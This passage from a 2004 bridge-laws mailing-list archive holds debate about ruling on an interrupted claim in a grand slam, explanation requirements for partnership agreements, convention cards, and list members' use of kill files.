Whenever we have a doubtful claim we rule against the claimer. (Except that quite a few claim appeals referred to recently seem to having been ruled for the claimer with an incomplete claim statement on the ground that "he is too good player to fail here", disregarding the fact that he apparently was "too good" a player to notice the doubtful points in time). However: If opposing side disrupts normal procedure and prevents the claimer from completing his statement then it is my firm opinion that the claimer has every right to be heard, preferably by the director and if necessary subsequently by the AC. Because of their disruption to the normal procedure opponents now have forfeited their right to forbid any "new" line of play being included in the claim statement; as long as the "new" line of play is not in conflict with what the claimer said originally nobody can tell for certain that he would not have included this line of play had he been given the opportunity. Any doubt in this respect must be ruled against the opponents causing such doubt by prematurely shutting off the claimer. We cannot live with a situation where a player first prevents another player from making a complete statement and next objects to that player completing his statement on the ground that his completed statement differs from the part originally given. The claim itself must (of course) be ruled according to the (complete) statement given by the claimer. What astonishes me most on this particular thread is how it is kept alive by participants who have absolutely no firm knowledge of what really happened. They seem to having formed their own opinion and detest any suggestion that their opinion is not the one and only possible. What are the facts (and actually the only facts we have) is that the AC ruled: 1: The claimer was indeed prevented from giving his complete statement. 2: After hearing how he completed his claim statement they accepted it. 3: Apparently the AC found the completed claim statement to justify the claim. (And what kind of argument is it that no sane player would claim after just five tricks? I have seen perfectly sound claims made immediately when dummy was faced, I have seen perfectly sound claims after trick one, after trick two, after trick three and so on - just take your pick, but please spare me (us?) that kind of arguments). Sven _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From walt1@verizon.net Thu Jan 29 07:44:51 2004 From: walt1@verizon.net (Walt) Date: Thu, 29 Jan 2004 02:44:51 -0500 Subject: [blml] NOT News Message-ID: <6.0.1.1.0.20040129023440.02cf8850@incoming.verizon.net> Sven: >And what kind of argument is it that no sane player would claim after just >five tricks? I have seen perfectly sound claims made immediately when dummy >was faced, I have seen perfectly sound claims after trick one, after trick >two, after trick three and so on - just take your pick, but please spare me >(us?) that kind of arguments). At 02:34 AM 29/01/2004, Walt wrote: Perhaps the story has grown in the retelling but I seem to recall hearing that either Matt Granovetter or his Symmetric Relay partner (in the 1970's?), after one of their agonizingly long and slow auctions, claimed 7N before the opening lead. Walt From Frances.Hinden@Shell.com Thu Jan 29 09:30:08 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Thu, 29 Jan 2004 09:30:08 -0000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB162B@lonsc-s-031.europe.shell.com> (I sent this before but it seems to have disappeared) >What's my point? Unusual agreements like this are not conspiciously >shown on the card, are not subject to pre-alerts (in the US), and could >be a big suprise to oppo. Yet I know of no set of alerting/cc >regulations where this will spring to your attention on a quick read >through. [DWS] The EBU card has a section for "Aspects of System which Opponents should note". This agreement must be shown in that section otherwise you have been misinformed. The EBU L&EC of many years ago did identify the problem to which you refer and that is why that section is there on the CC. [FH] They were using WBF convention cards. As I can't see anything in the Crockfords regulations allowing their use, I infer that in fact this=20 was not allowed and therefore this was the problem. This raises a good point: the front of the EBU card is very useful for pointing out unusual agreements. In general the WBF card is harder to understand; this isn't usually a problem because you will often get the cards in advance for a serious event where WBF cards are permitted. I knew the regulation in the Orange book saying you couldn't use WBF cards unless they are specifically permitted was there for a reason! From nigel.guthrie@ntlworld.com Thu Jan 29 09:37:19 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 29 Jan 2004 09:37:19 -0000 Subject: [blml] NOT News References: <4BC805C8-51CA-11D8-A158-0030656F6826@rochester.rr.com> Message-ID: <006701c3e64b$82e83ea0$2a9468d5@tinyhrieuyik> [Jaap van der Neut] > BLML becomes kind of unwieldy if all members put a dozen > others in their kill file. The whole point of public > discussion gets lost and we might as well close down the > list. [Nigel] I am not sure I agree Jaap. People vary in their interests and sensitivities. For example, some subscribers are interested only in rulings according to *current* law. I would expect them to kill-file me. There are some who just want to pontificate and hate it when anyone queries their statements. Again I would expect them to kill-file me. Luckily for me, there remain a minority who think that the law may be capable of refinement or improvement and are willing to debate such issues, with an open mind. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.567 / Virus Database: 358 - Release Date: 24/01/2004 From blml@wellsborocomputing.com Thu Jan 29 09:47:16 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Thu, 29 Jan 2004 04:47:16 -0500 Subject: [blml] NOT News In-Reply-To: References: <4BC805C8-51CA-11D8-A158-0030656F6826@rochester.rr.com> Message-ID: On Thu, 29 Jan 2004 00:30:04 +0100, Jaap van der Neut wrote: >BLML becomes kind of unwieldy if all members put a dozen >others in their kill file. It's the way many mailing lists function, and I don't see why BLML should be any different. For really high volume mailing lists, reading selectively is a necessity, and kill files (let's just call them "filters", it's a less emotive term) are a useful aid in that process. >The whole point of public discussion gets lost >and we might as well close down the list. > I'm not aware of having made a commitment to read every posting on a particular topic when I subscribed to BLML, and I don't see the difference between skipping over the postings of specific contributors and filtering them out, other than the latter makes it easier to read through the rest of the group. Based on my experience of other mailing lists, if people can't keep things civil then I'd much prefer contributors to use filters rather than conduct extended flame wars on the list. The latter option is by far the more disruptive, IMO. Brian. From twm@cix.co.uk Thu Jan 29 10:31:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Thu, 29 Jan 2004 10:31 +0000 (GMT Standard Time) Subject: [blml] NOT News In-Reply-To: Message-ID: Jaap wrote: > Now if he claims 'I play for the spade drop' or equi that is fine with > me. His statement was "I've got the clubs, so I'll cash the spades, throwing H7 if they break, cash HK, D5, throwing C4, then the two best clubs for the remaining eight tricks." Ah you saying that this line does not lead to 13 tricks? OK I know you are not. But I am saying that had declarer made this statement at the time of his claim we would have awarded 13 tricks. His opponents interrupted him and prevented him from saying this (or indeed any other working line). In answer to your question elsewhere, yes I have seen players "try it on" by interrupting claims (not always as extremely as in my example). If we allow them to get better scores by interrupting than by waiting I expect to see a lot more of it! For those of you uncomfortable with the claim statement itself I ask how you would rule if a player made exactly the same statement having realised, after his first two words, that the claim was flawed and he wanted to at least give himself a shot at the contract. IMO we can, and should, accept the proposed line and see if it works. Other views may vary. Tim From twm@cix.co.uk Thu Jan 29 10:31:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Thu, 29 Jan 2004 10:31 +0000 (GMT Standard Time) Subject: [blml] NOT News In-Reply-To: Message-ID: Jaap wrote: > My dear John, > > You are too good a director not to know that common sense judgements is > part of the job. Of course if I/you as a TD/AC have the impression there > is a real claim interrupt then yes I will protect the guy. Well yes. But one rather assumes that when an AC is unanimous in finding there was a genuine interrupt of the claim the chances are pretty high that there was a genuine interrupt of the claim - so protect. Nobody on this list has argued for anything other than -1 if the AC was wrong about the interrupt, indeed why would they. The ruling for a non-interrupted claim is completely trivial. > But in this case according to the TD claimer started to claim all the > clubs. The TD said nothing of the sort (and made no ruling on whether the statement had been interrupted) . Claimer stated to the AC that he began with "I've got the clubs..." and was prevented from continuing. The opponent stated that claimer had started with "The clubs are good..". Note that from the write-up the opponent does not seem to deny interrupting at this stage. > At this stage he might well be down already depending on some judgement > about what he really said (maybe some language problem) with or without > interrupt. > > But by now we should ask the table TD what really happened because I am > also guessing on limited facts. The table TD wasn't there at the crucial moment (ie when the interruption, if there was one, occurred). > But if claimer said something like 'I have the clubs' than I consider an > objection by someone holding a club stop as a natural reaction and not a > claim interrupt. It may be a "natural reaction", if so it is one that should be curbed. Natural or unnatural it is certainly an interruption, and equally certainly against the law. > And if I also see that someone claimed in a position where no sane > player will ever claim I tend to believe he miscounted tricks rather > than he was about to make a serious claim. Which is relevant how exactly? If you consider "I have the clubs if they split, the spades if they split or a black-suit squeeze works against West" as a non-serious or insane claim then you really need to get out more. A moderately competent player would accept such a claim without quibbling while you, in your infinite wisdom, are able to judge from the first 4 words in isolation that the claim is invalid. Tim From cyaxares@lineone.net Thu Jan 29 11:10:42 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Thu, 29 Jan 2004 11:10:42 -0000 Subject: Concentric circles - was Re: [blml] Be alert but ... References: <5JRxefArcK5$Ewrf@blakjak.demon.co.uk> Message-ID: <001a01c3e659$af9e4990$5054e150@endicott> Grattan Endicott To: "David Stevenson" ; Sent: Thursday, January 29, 2004 3:30 AM Subject: Re: Concentric circles - was Re: [blml] Be alert but ... > > > > Well, I think and hope that you will answer > > all reasonable questions. > > The problem is that there are surely a lot of > > people who will not, and I am worried that > > they hide behind this word special. > > +=+ Law 75C says two things: < 1. That the response shall mention all special partnership understandings 2. That it is not a requirement to mention matters that are part of general experience - i.e. that are drawn from general bridge experience shared by bridge players generally, and thus commonly understood. > but Law 75C makes no statement about the intervening ground - those partnership understandings which are not special to the partnership but where a choice has been made among potential meanings that are adopted selectively by partnerships and which cannot be assumed of all. To know the requirement in respect of this category of understandings we refer to Law 20F and to Law 40B. But having done that we should not overlook Law 40C. As it reads, this law depends on a question of *fact* whether failure to explain the full meaning of a call has led to damage and does *not* depend on whether disclosure requirements under any other part of the laws have been complied with. My conclusion is that when a player is asked for an explanation of the auction or of a call, Law 40C kicks in if damage is occasioned by an opponent's ignorance of something that has been omitted in the response. There is the moderation, I would think, that the opponent may be expected to know something that is a matter of general bridge knowledge among players and not adopted selectively. ~ Grattan ~ +=+ P.S. My choice of language above may be easier for English speakers. Seeking accuracy of expression above simplicity, I have used 'selectively' to reflect a meaning/usage that is a matter of choice among a number available. From hermandw@hdw.be Thu Jan 29 11:32:34 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 29 Jan 2004 12:32:34 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <4018EF52.7060505@hdw.be> Hello Tim, Tim West-Meads wrote: > Jaap wrote: > > >>My dear John, >> >>You are too good a director not to know that common sense judgements is >>part of the job. Of course if I/you as a TD/AC have the impression there >>is a real claim interrupt then yes I will protect the guy. > > > Well yes. But one rather assumes that when an AC is unanimous in finding > there was a genuine interrupt of the claim the chances are pretty high > that there was a genuine interrupt of the claim - so protect. > Nobody on this list has argued for anything other than -1 if the AC was > wrong about the interrupt, indeed why would they. The ruling for a > non-interrupted claim is completely trivial. > I hope by trivial you mean you agree with the majority on this list and not with Ed? 12 tricks? > >>But in this case according to the TD claimer started to claim all the >>clubs. > > > The TD said nothing of the sort (and made no ruling on whether the > statement had been interrupted) . Claimer stated to the AC that he began > with "I've got the clubs..." and was prevented from continuing. The > opponent stated that claimer had started with "The clubs are good..". > Note that from the write-up the opponent does not seem to deny > interrupting at this stage. > Well, I'm sure you'll admit that he started by mentioning the clubs. Very strange if your claim is based on 4 spade tricks and only 3 club ones. > >>At this stage he might well be down already depending on some judgement >>about what he really said (maybe some language problem) with or without >>interrupt. >> >>But by now we should ask the table TD what really happened because I am >>also guessing on limited facts. > > > The table TD wasn't there at the crucial moment (ie when the interruption, > if there was one, occurred). > > >>But if claimer said something like 'I have the clubs' than I consider an >>objection by someone holding a club stop as a natural reaction and not a >>claim interrupt. > > > It may be a "natural reaction", if so it is one that should be curbed. > Natural or unnatural it is certainly an interruption, and equally > certainly against the law. > I'm not sure about that last one. There is a common courtesy about letting people finish their sentences, but not a bridge law. Anyway, surely the TD must at some time have offered the word to claimer. I don't think he said anything else than what he later said to the committee. Should we not put some weight on the TD's appreciation of what was said at the table? > >>And if I also see that someone claimed in a position where no sane >>player will ever claim I tend to believe he miscounted tricks rather >>than he was about to make a serious claim. > > > Which is relevant how exactly? If you consider "I have the clubs if they > split, the spades if they split or a black-suit squeeze works against > West" as a non-serious or insane claim then you really need to get out > more. A moderately competent player would accept such a claim without > quibbling while you, in your infinite wisdom, are able to judge from the > first 4 words in isolation that the claim is invalid. > Not from those first 4 words. But from those words in combination with what the player later stated he would have said. If the sentence above had been uttered against the AC, then we might have doubt. But since the player did not say these things to the AC, it is very strange from you to possibly attribute them to the claimer at the time of his claim. If he still can't find a rational sentence after two hours, then probably his original intention was not rational either. It is not so that Jaap and I don't believe this claim is possible; it is just so that we don't find anything in claimer's later statements to substantiate that possibility. And while we must probably allow the interrupted statement to be completed, even after a couple of hours have passed, then please allow us to rule on the claim statement as uttered. And Jaap and I are (sometimes it does happen!) in agreement there: if this player had been allowed to finish his claim statement, and that was the one that came out (highly unlikely though it seems), then we'd rule against this claimer. As did, in fact, the TD at the table. > Tim > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Thu Jan 29 11:39:16 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 29 Jan 2004 12:39:16 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <4018F0E4.7000501@hdw.be> Aha Tim, now we are getting somewhere. Tim West-Meads wrote: > Jaap wrote: > > >>Now if he claims 'I play for the spade drop' or equi that is fine with >>me. > > > His statement was "I've got the > clubs, so I'll cash the spades, > throwing H7 if they break, cash > HK, D5, throwing C4, then the two best > clubs for the remaining eight tricks." > > Ah you saying that this line does not lead to 13 tricks? > OK I know you are not. But I am saying that had declarer made this > statement at the time of his claim we would have awarded 13 tricks. > His opponents interrupted him and prevented him from saying this (or > indeed any other working line). > Well, two things: (a) it's highly unlikely he would have said this - but see below; (b) I would still rule against him, for reasons I think I have already explained. > In answer to your question elsewhere, yes I have seen players "try it on" > by interrupting claims (not always as extremely as in my example). If we > allow them to get better scores by interrupting than by waiting I expect > to see a lot more of it! > I agree with those sentiments. But here we see a player "try it on" by maintaining that his claim statement was interrupted. I don't like that either. Many a claim statement is interrupted and we wouldn't either want a player to simply shut up after the first interruption and then wait for 2 hours to complete their claim statement. > For those of you uncomfortable with the claim statement itself I ask how > you would rule if a player made exactly the same statement having > realised, after his first two words, that the claim was flawed and he > wanted to at least give himself a shot at the contract. AHA - you agree that this claim statement may have been changed after the claimer realized his original claim was faulty. > IMO we can, and > should, accept the proposed line and see if it works. Other views may > vary. > I also believe that we should allow claimer a shot at the contract. But that is not what the laws say. If you claim, you lose all chances. you get the least of your normal lines. I also believe that this is what happened in reality. Claimer thought he had 13 tricks including 4 clubs. During his claim (and probably because of the interruption) he realized that he did not have 4 club tricks, and that he needed 4 spade tricks. He may or may not have realized that there was more than one line to 4 spade tricks, so he tried picking one, hoping to pick the right one. Sadly that is not allowed under the claim laws. > Tim > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From erdnbaum@netvision.net.il Thu Jan 29 13:06:55 2004 From: erdnbaum@netvision.net.il (Israel Erdnbaum) Date: Thu, 29 Jan 2004 15:06:55 +0200 Subject: [blml] NOT News References: <4018F0E4.7000501@hdw.be> Message-ID: <000801c3e668$c5600f20$0a6debd4@mycomputer> ----- Original Message ----- From: "Herman De Wael" To: "blml" Sent: Thursday, January 29, 2004 1:39 PM Subject: Re: [blml] NOT News > Aha Tim, now we are getting somewhere. > > Tim West-Meads wrote: > > > Jaap wrote: > > > > > >>Now if he claims 'I play for the spade drop' or equi that is fine with > >>me. > > > > > > His statement was "I've got the > > clubs, so I'll cash the spades, > > throwing H7 if they break, cash > > HK, D5, throwing C4, then the two best > > clubs for the remaining eight tricks." > > > > Ah you saying that this line does not lead to 13 tricks? > > OK I know you are not. But I am saying that had declarer made this > > statement at the time of his claim we would have awarded 13 tricks. > > His opponents interrupted him and prevented him from saying this (or > > indeed any other working line). > > > > Well, two things: (a) it's highly unlikely he would have said this - > but see below; (b) I would still rule against him, for reasons I think > I have already explained. > > > In > I also believe that this is what happened in reality. Claimer thought > he had 13 tricks including 4 clubs. During his claim (and probably > because of the interruption) he realized that he did not have 4 club > tricks, and that he needed 4 spade tricks. He may or may not have > realized that there was more than one line to 4 spade tricks, so he > tried picking one, hoping to pick the right one.___--- Sadly ??? that is not > allowed under the claim laws. > > > Tim > > > Hi "sadly" ?? I'd say RIGHTLY. all the best Israel Tel Aviv > -- > Herman DE WAEL > Antwerpen Belgium > http://www.hdw.be > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From blml@blakjak.com Thu Jan 29 14:29:49 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 29 Jan 2004 14:29:49 +0000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB162B@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB162B@lonsc-s-031.europe.shell.com> Message-ID: <92TAxzTdjRGAFw+K@blakjak.demon.co.uk> Hinden, Frances SI-PXS wrote >(I sent this before but it seems to have disappeared) Strange - I have already replied to it! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Jan 29 14:32:15 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 29 Jan 2004 14:32:15 +0000 Subject: Concentric circles - was Re: [blml] Be alert but ... In-Reply-To: <001a01c3e659$af9e4990$5054e150@endicott> References: <5JRxefArcK5$Ewrf@blakjak.demon.co.uk> <001a01c3e659$af9e4990$5054e150@endicott> Message-ID: Grattan Endicott wrote >P.S. My choice of language above may be >easier for English speakers. No, Grattanese has always been a mystery to all of us. :))) -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From jaapvanderneut@hotmail.com Thu Jan 29 17:39:21 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Thu, 29 Jan 2004 18:39:21 +0100 Subject: [blml] NOT News References: Message-ID: Tim: > Well yes. But one rather assumes that when an AC is unanimous in finding > there was a genuine interrupt of the claim the chances are pretty high > that there was a genuine interrupt of the claim - so protect. 1. Keep in mind that the original question was 'what do you think of the AC decision' given the presented facts. For that question the AC ruling itself is not part of the facts. Otherwise you end up saying the AC is right because it is right. 2. I have seen lots of silly AC decisions and I have participated in enough myself. I tend not to overvalue AC rulings. It is just a ruling often under pressure and this should never be confused with the Truth. Tim: > The TD said nothing of the sort (and made no ruling on whether the > statement had been interrupted) . Claimer stated to the AC that he began > with "I've got the clubs..." and was prevented from continuing. The > opponent stated that claimer had started with "The clubs are good..". > Note that from the write-up the opponent does not seem to deny > interrupting at this stage. Of course the write-up is limited and a lot is left to the imagination. In the end it boils down to deciding if claimer really wanted to make this statement and was prevented from doing so by opps OR claimer during the claim changed his mind probably caused by some kind of reaction to his initial statement about clubs however that club thing was worded. Now for his intented claim we only have his word. It is a very strange moment to claim (did you ever see someone claiming a grand slam when realizing he had only 12 with still some work to do for 13) and it is a ridiculous line of play. Apart from some squeeze extras the proposed line gives up on clubs 3-3 altogether. So I tend not to believe this story because it is sure that somewhere along the line he realised or knew the clubs were not breaking. This can only come from the objection/interruption when he started his claim by claiming the club suit. We seem to differ whether or not a valid objection (a club stop in this case) to (part of) a claim is an interruption. I prefer to see this as normal procedure (a valid objection to a misclaim) even if this interrupts the claim. Now if the objection is not valid and or (part of) the claim is correct I will go along with your interrupt idea. In the first case the misclaim caused the trouble, in the second case the interrupt caused the problem (in my view that is) Tim: > It may be a "natural reaction", if so it is one that should be curbed. > Natural or unnatural it is certainly an interruption, and equally > certainly against the law. If someone claims all the clubs and I call the TD (or react in a similar way) on the basis of a club stop excactly which law do I break ? If you expect people to behave differently, at the next general meeting I will get a 99% vote for outlawing claims altogether (you know all those people who hate to be claimed against). Tim: > Which is relevant how exactly? If you consider "I have the clubs if they > split, the spades if they split or a black-suit squeeze works against > West" as a non-serious or insane claim then you really need to get out > more. A moderately competent player would accept such a claim without > quibbling while you, in your infinite wisdom, are able to judge from the > first 4 words in isolation that the claim is invalid. This is silly. Nobody in real life will claim a grand like that. In a hurry they might claim 6NT for 12 or 13 (teams score) like that. Besides that claim of yours is incorrect and will be challenged by everybody because the line of play is unclear. I will not allow this claim because it needs some non trivial handling (I know the Vienna Coup here is rather obvious still I have seen mistakes). Nobody who knows about squeezes will claim in that order because you have to sqeeze before testing the second suit. And any player capable of executing this will never claim because it is not the best line of play. Best is to start on clubs. If clubs are with W then you cash reds and make unles E has a spade stop (squeeze) although you might decide to take a S finesse over E if west has 5C. If clubs are with E you cash reds and (lacking a complete count) if you still remember the small cards from the early heart tricks (that is why good players always seem to guess right) you are a big favorite to guess the spades (have a go at a count). Your idea of a claim ? Anyway why bother looking for the best line because if the first 5 tricks were really 1H 3D and CJQKx I think it is nowhere near the best line. But then this hand is far from easy. Just now I remember Herman removing the spade intermediates. If you change all black spots to 234's S and C become equivalent suits and I can imagine claiming it on the squeeze. But then of course we get the discussion whether it is legal is to claim on a squeeze altogether because it elimiates the counting effort. Remember Valkenburg? And about my infinite wisdom. My wisdom is no better no worse than yours. I just happen to be a good player so I am rather good at bridge analysis and rather good at seeing through bogus bridge arguments. Anyway I still feel that this 'interruption' was not made after the first four words of above sentence. But that is easy, even afterwards the guy himself never mentioned clubs 3-3 or a squeeze. But never forget all this is just my judgement given the limited available facts. If RJH changes the story or the TD or the AC comes with new info I might well change my mind. Jaap ----- Original Message ----- From: "Tim West-Meads" To: Sent: Thursday, January 29, 2004 11:31 AM Subject: Re: [blml] NOT News > Jaap wrote: > > > My dear John, > > > > You are too good a director not to know that common sense judgements is > > part of the job. Of course if I/you as a TD/AC have the impression there > > is a real claim interrupt then yes I will protect the guy. > > Well yes. But one rather assumes that when an AC is unanimous in finding > there was a genuine interrupt of the claim the chances are pretty high > that there was a genuine interrupt of the claim - so protect. > Nobody on this list has argued for anything other than -1 if the AC was > wrong about the interrupt, indeed why would they. The ruling for a > non-interrupted claim is completely trivial. > > > But in this case according to the TD claimer started to claim all the > > clubs. > > > > At this stage he might well be down already depending on some judgement > > about what he really said (maybe some language problem) with or without > > interrupt. > > > > But by now we should ask the table TD what really happened because I am > > also guessing on limited facts. > > The table TD wasn't there at the crucial moment (ie when the interruption, > if there was one, occurred). > > > But if claimer said something like 'I have the clubs' than I consider an > > objection by someone holding a club stop as a natural reaction and not a > > claim interrupt. > > It may be a "natural reaction", if so it is one that should be curbed. > Natural or unnatural it is certainly an interruption, and equally > certainly against the law. > > > And if I also see that someone claimed in a position where no sane > > player will ever claim I tend to believe he miscounted tricks rather > > than he was about to make a serious claim. > > Which is relevant how exactly? If you consider "I have the clubs if they > split, the spades if they split or a black-suit squeeze works against > West" as a non-serious or insane claim then you really need to get out > more. A moderately competent player would accept such a claim without > quibbling while you, in your infinite wisdom, are able to judge from the > first 4 words in isolation that the claim is invalid. > > Tim > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From jaapvanderneut@hotmail.com Thu Jan 29 17:47:43 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Thu, 29 Jan 2004 18:47:43 +0100 Subject: [blml] NOT News References: <4BC805C8-51CA-11D8-A158-0030656F6826@rochester.rr.com> Message-ID: Brain, I agree to most you say. But that is filtering on subjects. We all do, mechanical or otherwise. What DWS and recently Ed do is putting certain people in their filters as a kind of penalty and on top of that being open about it. It is a free world so no problem so far. But the effect of this behaviour (when adopted by sufficient people) is that in a given thread all participants read only x% of the thread which breaks the structure of any thread if x is big enough. Imagine a debate in parlement where all members refuse to listen to 10% of the other members. Everybody will hear answers to questions they don't know about or the opposite. Referencing to previous statements (or even decisions) becomes meaningless. So I don't think it is workable. Kind of obvious (probably unwritten) rule in parlement is that once you decide to attend/participate in a certain debate you have to listen to all other participants. And yes I could have been a little easier on Ed. But heck the way he behaved to me, Herman and Nigel (among others ?) in the recent thread was IMO ridiculous (to use a rather nice word). But I agree views might differ on that. Anyway the fact that we disagreed with him was more or less enough to be 'filtered'. To me this comparable to the kindergarten tactic if I cannot win the argument I will start a fight (assuming I am bigger). No problem in itself but I prefer that kind of people not to participate in public discussions. Because it is not a public discussion anymore that way. > Based on my experience of other mailing lists, if people can't > keep things civil then I'd much prefer contributors to use > filters rather than conduct extended flame wars on the list. The > latter option is by far the more disruptive, IMO. Well Ed did not exactly keep things civil and me flaming that exactly once doesn't constitute a 'flame war'. Specialy if the basic aim of such a reaction/flame is towards resolution. Anyway it is hard in an international environment to agree exactly what is civil and what is not. Some irritations are unavoidable also because what is normal in one culture will not be considered so in another. Some reaction based on emotions is human and normal (maybe slightly less so in an UK dominated environment). But I agree with you things should not degenerate in a 'flame war'. A 'flame battle' is probably also too much but once in a while a 'flame skirmish' is part of life I guess. And can even be great fun. Although that depends on culture I guess. But whatever what I miss David Burn around here. Jaap ----- Original Message ----- From: "Brian Meadows" To: Sent: Thursday, January 29, 2004 10:47 AM Subject: Re: [blml] NOT News > On Thu, 29 Jan 2004 00:30:04 +0100, Jaap van der Neut wrote: > > > > >BLML becomes kind of unwieldy if all members put a dozen > >others in their kill file. > > It's the way many mailing lists function, and I don't see why > BLML should be any different. For really high volume mailing > lists, reading selectively is a necessity, and kill files (let's > just call them "filters", it's a less emotive term) are a useful > aid in that process. > > >The whole point of public discussion gets lost > >and we might as well close down the list. > > > > I'm not aware of having made a commitment to read every posting > on a particular topic when I subscribed to BLML, and I don't see > the difference between skipping over the postings of specific > contributors and filtering them out, other than the latter makes > it easier to read through the rest of the group. > > Based on my experience of other mailing lists, if people can't > keep things civil then I'd much prefer contributors to use > filters rather than conduct extended flame wars on the list. The > latter option is by far the more disruptive, IMO. > > > Brian. > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From ereppert@rochester.rr.com Thu Jan 29 19:25:55 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 29 Jan 2004 14:25:55 -0500 Subject: [blml] NOT News In-Reply-To: Message-ID: On Thursday, Jan 29, 2004, at 04:47 US/Eastern, Brian Meadows wrote: > Based on my experience of other mailing lists, if people can't keep > things civil then I'd much prefer contributors to use > filters rather than conduct extended flame wars on the list. The > latter option is by far the more disruptive, IMO. Indeed. I've come to the conclusion that flame wars, as satisfying as they can sometimes be, are a waste of everyone's time, including mine. So I avoid them. From ereppert@rochester.rr.com Thu Jan 29 19:31:27 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 29 Jan 2004 14:31:27 -0500 Subject: [blml] NOT News In-Reply-To: <4018EF52.7060505@hdw.be> Message-ID: On Thursday, Jan 29, 2004, at 06:32 US/Eastern, Herman De Wael wrote: > I hope by trivial you mean you agree with the majority on this list > and not with Ed? 12 tricks? I don't believe I ever said that if the claim statement was not interrupted, and thus consisted solely of "I've got the clubs", that I would rule declarer gets 13 tricks. If you inferred that from what I did say, then you are mistaken. From lskelso@ihug.com.au Thu Jan 29 23:55:59 2004 From: lskelso@ihug.com.au (Laurie Kelso) Date: Fri, 30 Jan 2004 10:55:59 +1100 Subject: [blml] NOT News In-Reply-To: References: <6.0.1.1.1.20040127134247.01aecfb8@postoffice.worldnet.att.net> Message-ID: <6.0.1.1.0.20040130100920.01e20ec0@pop.ihug.com.au> Hello All I was the DIC of the venue where this situation arose. Todd has surmised things pretty well. The claim occurred immediately after the CJ had been led and covered. The directing staff believed that declarer had precipitously claimed in the aftermath of the relief of a successful finesse, without necessarily realising there weren't 13 sure tricks. By the time floor director arrived at the table, things had progressed a bit further. East had in fact already exposed her hand and indicated that the clubs were not breaking and it was thus very apparent to everyone at the table that she held 3 spades. While declarer cannot be held accountable if one of the opponents decides to expose her hand, his subsequent clarification statement' was made within this context. Having attended the AC as an observer, I believe that E/W probably were very quick to contest Declarer's statement and probably did 'cut him off', however I am still not sure that he knew what he was doing when he made his initial (attempted) claim. Laurie >Todd M. Zimnoch wrote >> 3 of the first 5 tricks had to be diamonds. Declarer already >> knows they're breaking, otherwise the statement about cashing the D5 in >> the claim would result in a 12-tricks decision without any discussion. >> Lead was probably heart to the A since the AH is not mentioned in >> the claim statement. >> And a club finesse, probably with the Q appearing, else trick 6 >> should be a small club to the A or K. >> >> With 12 obvious tricks, it looks like he's claiming the 13th in >> clubs, not in spades, and declarer hasn't demonstrated how that 13th >> trick in clubs is coming about. Even in his clarification he doesn't >> seem to realize that 4 spade tricks are necessary. I'm inclined to >> believe it was a bad claim and the "interruption" woke declarer up to >> the realities of the hand, specifically that he didn't have 4 club >> tricks just yet. From cibor@poczta.fm Fri Jan 30 00:31:16 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Fri, 30 Jan 2004 01:31:16 +0100 Subject: [blml] NOT News References: Message-ID: <00e101c3e6c8$85c78900$0bd363d9@c5s5d3> ----- Original Message ----- From: "Tim West-Meads" > Which is relevant how exactly? If you consider "I have the clubs if th= ey > split, the spades if they split or a black-suit squeeze works against > West" as a non-serious or insane claim then you really need to get out > more. This claim *is* insane, Tim. If you are good enough to know how squeezes operate then you would have to mention that if you cash clubs and they don't break with East having the stopper then there still is a very significant chance of bringing the contract home with the help of a non-simultanous double squeeze if West has 4+S (provided you won the first heart in dummy). KQxx 4 --- 2 Jxxx xx HH HHH --- --- --- 9 Axx Kx x --- South plays a D and WE are done (this is called Va-et-vient gauche in the French literature). You play your last D from hand. If West pitches a heart then you must let go a spade. Of course if spades are 3-3 then a small spade is the only card you cannot pitch so must do some good card reading on your way this position - so you certainly don't claim. A player who is aware of the squeeze chances will never claim in this way: >I've got the clubs if they > split, the spades if they split or a black-suit squeeze works against > West" because he will know that by claiming in such a way he will give up a significant chance to make his contract. Someone who is not capable of setting up a squeeze will never claim anything on a squeeze. Either way claiming in this position is insane. Unless you are *sure* that you have 13 tricks from the top. Which I firmly believe is what happened to the South player at the table. Konrad Ciborowski Krak=F3w, Poland From jaapvanderneut@hotmail.com Fri Jan 30 07:23:08 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Fri, 30 Jan 2004 08:23:08 +0100 Subject: [blml] NOT News References: 